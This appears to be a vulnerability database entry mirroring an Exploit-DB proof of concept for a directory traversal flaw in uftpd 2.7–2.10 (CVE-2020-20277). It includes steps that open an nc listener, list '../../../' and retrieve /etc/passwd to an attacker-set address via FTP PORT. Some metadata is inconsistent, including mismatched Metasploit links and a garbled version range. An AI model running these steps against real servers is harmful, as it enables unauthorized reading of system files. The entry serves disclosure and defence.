uftpd 2.10 - Directory Traversal (Authenticated)

vendor:

uftpd

by:

Aaron Esau (arinerron)

9.8

CVSS

CRITICAL

Directory Traversal

CWE

Product Name: uftpd

Affected Version From: 2.7

Affected Version To: 2.1

Patch Exists: YES

Related CWE: CVE-2020-20277

CPE: a:troglobit:uftpd

Metasploit: https://www.rapid7.com/db/vulnerabilities/samba-cve-2020-27840/, https://www.rapid7.com/db/vulnerabilities/samba-cve-2021-20277/, https://www.rapid7.com/db/vulnerabilities/freebsd-cve-2021-20277/, https://www.rapid7.com/db/vulnerabilities/freebsd-cve-2020-27840/

Other Scripts:

Platforms Tested: Linux

2020

uftpd 2.10 – Directory Traversal (Authenticated)

Arbitrary files could be read using directory traversal if the application is not running as root after authenticating. If the server has anonymous login enabled, it will be possible to read arbitrary files even without authentication.

Mitigation:

Ensure that the application is running as root and disable anonymous login.

Source

Exploit-DB raw data:

# Exploit Title: uftpd 2.10 - Directory Traversal (Authenticated)
# Google Dork: N/A
# Exploit Author: Aaron Esau (arinerron)
# Vendor Homepage: https://github.com/troglobit/uftpd
# Software Link: https://github.com/troglobit/uftpd
# Version: 2.7 to 2.10
# Tested on: Linux
# CVE : CVE-2020-20277
# Reference: https://nvd.nist.gov/vuln/detail/CVE-2020-20277
# Reference: https://arinerron.com/blog/posts/6
#Product: uftpd 2.7 to 2.10

#Proof-Of-Concept:
1-Arbitrary files could be read using directory traversal if the application is not running as root after authenticating. If the server has anonymous login enabled, it will be possible to read arbitrary files even without authentication. 

#Steps
1-Setup nc listener on attacking machine on TCP port 1258
nc -lnvp 1258

2-Login to the FTP service

3-List files 
ftp> ls ../../../

3-Set attacker's IP address and retrieve files
PORT 127,0,0,1,1,1002
RETR ../../../etc/passwd